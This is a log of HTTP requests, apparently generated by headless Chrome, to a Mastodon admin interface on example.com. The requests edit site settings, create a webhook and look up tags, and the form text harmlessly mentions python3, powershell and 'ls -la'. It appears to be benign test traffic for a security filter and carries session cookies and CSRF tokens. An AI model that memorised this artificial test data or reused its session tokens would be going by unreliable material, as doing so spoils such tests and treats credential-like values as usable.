{"method": "GET", "target": "/admin/settings/about", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6NTIuNjk3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--22debca1da960bffd82aac01ac0c941aa52792f4; _mastodon_session=1GEZphvi3cCHiYcW%2BChp%2FlHgy2qzbgVdsefvbMMxqunxRJd8LJr8JswyxEWOycAwXN5T0P%2BLPobx96DsoxAi8mq6aUH3Y2eefzIZTCn99wbeiBcC4X5kWXLjw5Axa5fmXrpg51YK3okjCc9IVdGln6e%2BUZDuK2xMFrV9yOZVhsfRVtl2uNM98jhPgZ3EsYA1ZYYw0XxyIUOUDrKJxOV4z6LXPJrw4K0J0qM0dAdY%2BxPKHXWmnSltttrnoN1YcevxXICcQO6r0XZ3qDgYfyI0Sc%2BkwR8LhJxjZk5x%2B5M7tQQFNipm7YQPrSV1M6Glow1AYnH9b9InOguYfQDW0BWQqrreXxc9x7IGs2IzDfrBy%2F02dZ9FWi56Y4ZHJoRTrt1c5VmxN9avfgCx--pAMFdO38T4YBeP32--kt0DSSb4rWxgxJhOQftJ5g%3D%3D"], "body": ""}
{"method": "GET", "target": "/sw.js", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Accept: */*", "Service-Worker: script", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: serviceworker", "Referer: https://example.com/sw.js", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept-Encoding: gzip, deflate, br, zstd", "Accept-Language: en-US,en;q=0.9"], "body": ""}
{"method": "POST", "target": "/admin/settings/about", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 434", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/settings/about", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6NTIuODU0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a2bc783846af8fe17b646fc75c47e7491d2406bf; _mastodon_session=icNQY%2BOCGkQr4lvvFf8UNa383HXxXz9Vk%2Ft4C3h2b2amjNZqMvWjv%2BMYZ5PWt%2Fu%2BPtNEUVCQRVMYfZBvpfvH6f835bSkn3GceMC7j0v8wvRP1tpx5EZ77NMnhKZLODPLP3a2JtZDUMuUjS9sgQAaBjKpxEbc95g4hM1ZMc9U8gKCvXagz4Opdvyq8foLpi%2FgBi5SqPb8SEmZILIufJkz8RDJo0snrresnU%2BgiUDtnJuSIVeMlZ2zNAE4CFrTb%2FhCEisaMEYLcv33OQ%2BaqOszFUUYNqutGTdoTrWIy2mmEqGJKndhw9iykV2m0XJmJX2s80uaSRMVwB2qutrzVWSgy6foEpmSTWPMgSzoY8aTB5ZD6fMRjoHyLii5%2BJQAa9xd23Ennd1AsAuX--sj4C8klsQKipC4C4--F6l0746V9zwTdjJ7TrAGlA%3D%3D"], "body": "_method=patch&authenticity_token=90-kdU6RqtN84sEbG09d3FjkfFi2xlViFjnBvCoEPTYGLpu5V1rIBrDMgLJ3VlEdXqUnrAJCZbeyn1BTE4jE0A&form_admin_settings%5Bsite_extended_description%5D=We+talk+about+python3%2C+powershell%2C+ls+-la+and+.htaccess.&form_admin_settings%5Bshow_domain_blocks%5D=disabled&form_admin_settings%5Bshow_domain_blocks_rationale%5D=disabled&form_admin_settings%5Bstatus_page_url%5D=&form_admin_settings%5Bsite_terms%5D=&button="}
{"method": "GET", "target": "/admin/webhooks/new", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6NTUuNTY3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--7ad4936650dd58a025dc3da70b543ef0a1055f60; _mastodon_session=3ix7xk5UiIlbEU%2F89duZ51TbMh2dvzC8BmPfEVtqkqQlbEz18fVBzrRc7kE5KCH7pw5XHkS67gCdvIDxg5WIfKA4FJxYaqiQKyUKpYm9kOpDYIkSTGu142eiY5mSWJc6VvoZATUmxLdNIgoDlvFmBot85A%2BOIJ2Tm0DbYDyPjN5IfUMigWZH8bdSO7EcUQR9oNDQJUguUkcuuW8MTri4YEPZB8EKqJ%2BYaw4gMVFOXojAoWVshKoZwC6M4iFViyCKaHHWk2cAoPvWJvKhCqL0lqZob%2BxDQtHIuQAyT62AKTsn%2FjTOFRW0C5j2jS88ECxQBb1IRdljubi8wLWadyD1A%2F4gNd7tNBFB0%2F0qYuKC9QpQbDQ%2BdN6jc1boanMcq3xjO%2BlxOGdchRW8--CW7uuAKR3ecZDNLs--SjXc9nWdMvQYuhtDRBlIhA%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/esm-DrOrXu-Y.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/webhooks/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6NTUuNjYzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--44ca990094674afcaea00d1827cbae19f404fb75; _mastodon_session=DHZdf2rm8Fee%2B8E%2BaNohpWRgBdZX%2BNMnbXDf0c%2Bn7QPr%2FMbjt98sl5nEnqxIEJMKaWQqEvzgxtiBsoy8z%2BZkYlI4apBDDlSgk6J4sjqbkaA8d%2B%2Fc%2F9bh8FNoXT6mHR%2Fhp8prdwYYUYqPfopbBi6M%2BQKGsFAstGAsCTS4f5ZjKDEBmEyytHeUbWuEUnp9Y7bbHp7k3y64lATb1m0RydI3z0ujx1h4qRNdlu11xR4%2FBpYJNnCWljxKzWECns0ncUAaniMZktdJm57lvdSxxsOoRuH0QUIH0qU68jTENyv6Ww1KecVDyC5lDvHXPdx3M1HjGYYW5OTdNc%2F4BKUXcOtFLwKLI1jNxpwEEKMWhgm3hQfFTJxOniKNae%2Bc5OYBUCkYkFdXIV4gokM3--AZcshY7b6cSyrDdi--T2FuS%2BFuZaS9R7vEc3iQWQ%3D%3D"], "body": ""}
{"method": "POST", "target": "/admin/webhooks", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 264", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/webhooks/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6NTUuNjYzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--44ca990094674afcaea00d1827cbae19f404fb75; _mastodon_session=DHZdf2rm8Fee%2B8E%2BaNohpWRgBdZX%2BNMnbXDf0c%2Bn7QPr%2FMbjt98sl5nEnqxIEJMKaWQqEvzgxtiBsoy8z%2BZkYlI4apBDDlSgk6J4sjqbkaA8d%2B%2Fc%2F9bh8FNoXT6mHR%2Fhp8prdwYYUYqPfopbBi6M%2BQKGsFAstGAsCTS4f5ZjKDEBmEyytHeUbWuEUnp9Y7bbHp7k3y64lATb1m0RydI3z0ujx1h4qRNdlu11xR4%2FBpYJNnCWljxKzWECns0ncUAaniMZktdJm57lvdSxxsOoRuH0QUIH0qU68jTENyv6Ww1KecVDyC5lDvHXPdx3M1HjGYYW5OTdNc%2F4BKUXcOtFLwKLI1jNxpwEEKMWhgm3hQfFTJxOniKNae%2Bc5OYBUCkYkFdXIV4gokM3--AZcshY7b6cSyrDdi--T2FuS%2BFuZaS9R7vEc3iQWQ%3D%3D"], "body": "authenticity_token=ncYD7puSoXHWbZGvU7Kfo3RSArdOAlBufNayqH9w9s9Onu1Hpd3xzqokP0tA8eh7g1io8VSL9_nndxv8qWIfqQ&webhook%5Burl%5D=https%3A%2F%2Fhooks.example.org%2Fpython3&webhook%5Bevents%5D%5B%5D=&webhook%5Bevents%5D%5B%5D=account.created&webhook%5Btemplate%5D=&button="}
{"method": "GET", "target": "/admin/webhooks/1", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/webhooks/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6NTguNjAwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--00b3e23edac7d3eda1604efa0f833284716e3bfb; _mastodon_session=HoxlQZhb47uRosruBqkyAs2lvo7AIaf7xmrk8AVn0q2eJ5WEskKmxnY5b9xofI1xl8JCqaWVbcOaTNHFZSG8QE3YkSUdhMOVo2Kx2MFSJ4x2nfcfp1mBwXE2KVkOb0CFL5EpGrI7G88SlVMTLWkvbPS3CLn03TM3mRWElgZlmAZd4TnjJjKx83FMgb9JHfPGAcpqf3bpewnfMRUB5wbAX0rZDzZg5ueA1DW19kNO8ZgsiuM%2FG%2BsYmC2tjVb6zwvy9aC9MDvB83qfSSnGDZySFaqPMuGi0m8BF6qirE9T5mZFY6PHv0vc1gXCv8fLW%2B3GgeeYHAuKNwibcxBj2DLFt8w4KznE%2FhHaOYv75%2Blkyx1YQYyTfQjgKQQGMxjjH9gezFHUhna99ZTh--G0vHxNdSQOUeajTH--cXsF%2BtwTylT1wt75SOfsEw%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/mode-BXhrwYK6.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/webhooks/1", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6NTguNjE2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--11c18a1bc19c76b955d882ed276387788bc3ac8c; _mastodon_session=VeTbqqxP7FQCarkc5KvbXF0VDqqCj%2BvLEs8f%2FsokymF7lKVgbNrRMADt8xF7NKuRUBRtlaQsgY7z%2FTpi6b3QQ%2BlB5TfAQ9sXTEPb7sle0deRilv2CiV3ig8HV558kUCuyeJRTGn4%2BZpEpzrarngZizF6Kt5PMHUV5IZtX17cUr%2FeMdWbviUZlSvCAFobxQDfTLliJ%2BD50seUFuDeFf7H3sklqItRttq7yXZGS1yGBbHC1a3m46LPYxcA%2B1knOQ3gYAGgxFBallL0%2FE1eSN6yEEvbayaEaeITyEgdi%2Fke9AJ%2B1Uejo93n2oDlt36PlBVbyGooPu4K74aXunQktfxMTfxeGiqQ%2BXHuhdhpmYoKkoLz5%2FVpBy3C6VGgc%2FIU1m%2BSoILO9i%2BIksRr--Md1GA4%2F%2B3JhDBlIO--uIlLRzZSM5bXfJNcEdwt1Q%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/tags?name=python3", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6NTguNjE2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--11c18a1bc19c76b955d882ed276387788bc3ac8c; _mastodon_session=VeTbqqxP7FQCarkc5KvbXF0VDqqCj%2BvLEs8f%2FsokymF7lKVgbNrRMADt8xF7NKuRUBRtlaQsgY7z%2FTpi6b3QQ%2BlB5TfAQ9sXTEPb7sle0deRilv2CiV3ig8HV558kUCuyeJRTGn4%2BZpEpzrarngZizF6Kt5PMHUV5IZtX17cUr%2FeMdWbviUZlSvCAFobxQDfTLliJ%2BD50seUFuDeFf7H3sklqItRttq7yXZGS1yGBbHC1a3m46LPYxcA%2B1knOQ3gYAGgxFBallL0%2FE1eSN6yEEvbayaEaeITyEgdi%2Fke9AJ%2B1Uejo93n2oDlt36PlBVbyGooPu4K74aXunQktfxMTfxeGiqQ%2BXHuhdhpmYoKkoLz5%2FVpBy3C6VGgc%2FIU1m%2BSoILO9i%2BIksRr--Md1GA4%2F%2B3JhDBlIO--uIlLRzZSM5bXfJNcEdwt1Q%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/reply-NI2DkwdJ.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqaGxOV1F6TW1JeVlXSmxaamMyWlRBM09EWmxZek5tWkRBeE1qRXdNR1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDE6MDA6MDguOTM0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--660d11e8c95aa52cb6ceee81af05d93919e49bcb; _mastodon_session=v8%2FmnnGP0VM3lT5KxybV1Y6ICh0MWnMhUcUDbFKZhHi2ekAFsw9mu1fug%2Fx9az8V7FywnF8hyOF5Q0g3TDYgcAuzyGWu%2FctTLoV8%2Bujgf8OjXaFP3H7%2F431JWQ%2BhTtOtdZIhTB6n1PMiNeHp5cbGuplWGvg1E7I8NjbeCwfSMuA%2BelCCZuKwTEJiRFTTh4xUsm6Kwb39QYH7bIYDyiS3cWK1mUXexrx4kdJm2oXWhXHOi5Jq3zB4tlv598VC0EKGtA6XgS1UR9a%2FZIE0ah6PuBddWESglXQKNBklW0ret5b1nHyYIb0RcPr0OgvGX0rdD3pavR7B4kNjsLmXwtC%2FmUePO3hw%2BuCYmIrjrbsVUpf%2F66Oa0Cx0okTJSp%2FsTuSJGKyMunaeHDru--CA2Xj7DMUOjhNIXp--dxxbAgVtYEmsi76%2FjEvatg%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/components-BM4_xVIg.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqaGxOV1F6TW1JeVlXSmxaamMyWlRBM09EWmxZek5tWkRBeE1qRXdNR1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDE6MDA6MDguOTM0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--660d11e8c95aa52cb6ceee81af05d93919e49bcb; _mastodon_session=v8%2FmnnGP0VM3lT5KxybV1Y6ICh0MWnMhUcUDbFKZhHi2ekAFsw9mu1fug%2Fx9az8V7FywnF8hyOF5Q0g3TDYgcAuzyGWu%2FctTLoV8%2Bujgf8OjXaFP3H7%2F431JWQ%2BhTtOtdZIhTB6n1PMiNeHp5cbGuplWGvg1E7I8NjbeCwfSMuA%2BelCCZuKwTEJiRFTTh4xUsm6Kwb39QYH7bIYDyiS3cWK1mUXexrx4kdJm2oXWhXHOi5Jq3zB4tlv598VC0EKGtA6XgS1UR9a%2FZIE0ah6PuBddWESglXQKNBklW0ret5b1nHyYIb0RcPr0OgvGX0rdD3pavR7B4kNjsLmXwtC%2FmUePO3hw%2BuCYmIrjrbsVUpf%2F66Oa0Cx0okTJSp%2FsTuSJGKyMunaeHDru--CA2Xj7DMUOjhNIXp--dxxbAgVtYEmsi76%2FjEvatg%3D%3D"], "body": ""}
{"method": "GET", "target": "/settings/profile", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqaGxOV1F6TW1JeVlXSmxaamMyWlRBM09EWmxZek5tWkRBeE1qRXdNR1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDE6MDA6MDguOTM0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--660d11e8c95aa52cb6ceee81af05d93919e49bcb; _mastodon_session=v8%2FmnnGP0VM3lT5KxybV1Y6ICh0MWnMhUcUDbFKZhHi2ekAFsw9mu1fug%2Fx9az8V7FywnF8hyOF5Q0g3TDYgcAuzyGWu%2FctTLoV8%2Bujgf8OjXaFP3H7%2F431JWQ%2BhTtOtdZIhTB6n1PMiNeHp5cbGuplWGvg1E7I8NjbeCwfSMuA%2BelCCZuKwTEJiRFTTh4xUsm6Kwb39QYH7bIYDyiS3cWK1mUXexrx4kdJm2oXWhXHOi5Jq3zB4tlv598VC0EKGtA6XgS1UR9a%2FZIE0ah6PuBddWESglXQKNBklW0ret5b1nHyYIb0RcPr0OgvGX0rdD3pavR7B4kNjsLmXwtC%2FmUePO3hw%2BuCYmIrjrbsVUpf%2F66Oa0Cx0okTJSp%2FsTuSJGKyMunaeHDru--CA2Xj7DMUOjhNIXp--dxxbAgVtYEmsi76%2FjEvatg%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/render-DgEIfTde.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/settings/profile", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqaGxOV1F6TW1JeVlXSmxaamMyWlRBM09EWmxZek5tWkRBeE1qRXdNR1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDE6MDA6MTAuMDIyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--97d4d3c3fb39609736a7956063b81c57ed6d0340; _mastodon_session=gYT8mIwszZDbSN1gdFwY9Q1xZf%2FJMMEVWOq%2BvY%2BiaN1CFdxOSUNQMBNnaZxHwFKd9HSxn9a1T24fT9j0jcoKaZMAZdZQDOZNMnoYBpm5q1SzaGvShbOSYRc89bhWSZMOm%2Fw3pIAhyVGpLr4BL0PwZDefQBUzyxXQzbuPVXE2LLGd7V54vId0DEhv0n5o6WikucDYiyF6BFHj8UGP7MMQuELYs4KLwoGRJJNKl%2BR6ae%2FcUMf95rMUiwoN1%2BtDfC%2FjgZjaxOQhM%2Fh%2BQ0hqOnnogm2HkAV0uBbnXSBKaFdmjLK6vIA4IqcGYLpn8GpMLXkoScvGBfGGK0Xv5CGeLt%2Fp2%2Fb16f81vkYFbmyMlkZ7uNF%2FP6GWP1KiUmKtAlqNPJjdqtn0hSCUK7iP--0T28CR6K692tMMtf--RTuRQddKkjBXPCQHyy0XMg%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/admin-gQ_AIoJT.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/rules", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqaGxOV1F6TW1JeVlXSmxaamMyWlRBM09EWmxZek5tWkRBeE1qRXdNR1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDE6MDA6MTAuMzM0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--203c40bb381615d05f03a2f8a85e9fcc7e6b7270; _mastodon_session=vpjeH%2Bcg9tUjebhrSEwZuhDq3n80g8YMpXP6KDWyO%2B4g%2B9em9rT8gpWm6kz%2FIG5zh%2FHg4fYY4WjjSJupw5bjait4MINeSkEsk%2BKIcI4l%2BptzjTehWFVgxAMrSivMOxD5a6oQICl%2BhV7ZcA0mTJPHVk9EfiQvz7s44lSCvevimOG337bQWXgAjA8Wed3XAsB980n7mPnaf%2B%2F0w43PZfGJzuuJM2tQu44yyQr86O6dib490mLKM0PpQlQkt7Ci4g0%2Br14723bsqTLoMh0Lagx4dQKlUQ8qXPyziYf01nP0s7ZmCROmDcRGjE5GfISB2tuGpAi5yd9RVxpmESRl3L4xy%2FYBsSb0J49Vw0koSjKxbTDJGcOd%2Fk1X%2FGfumGVvK19yOjIM%2F%2FBeUmQQ--BycggxXUpL95VeKN--fGEvXkIXSWu0YcTmKu4STw%3D%3D"], "body": ""}
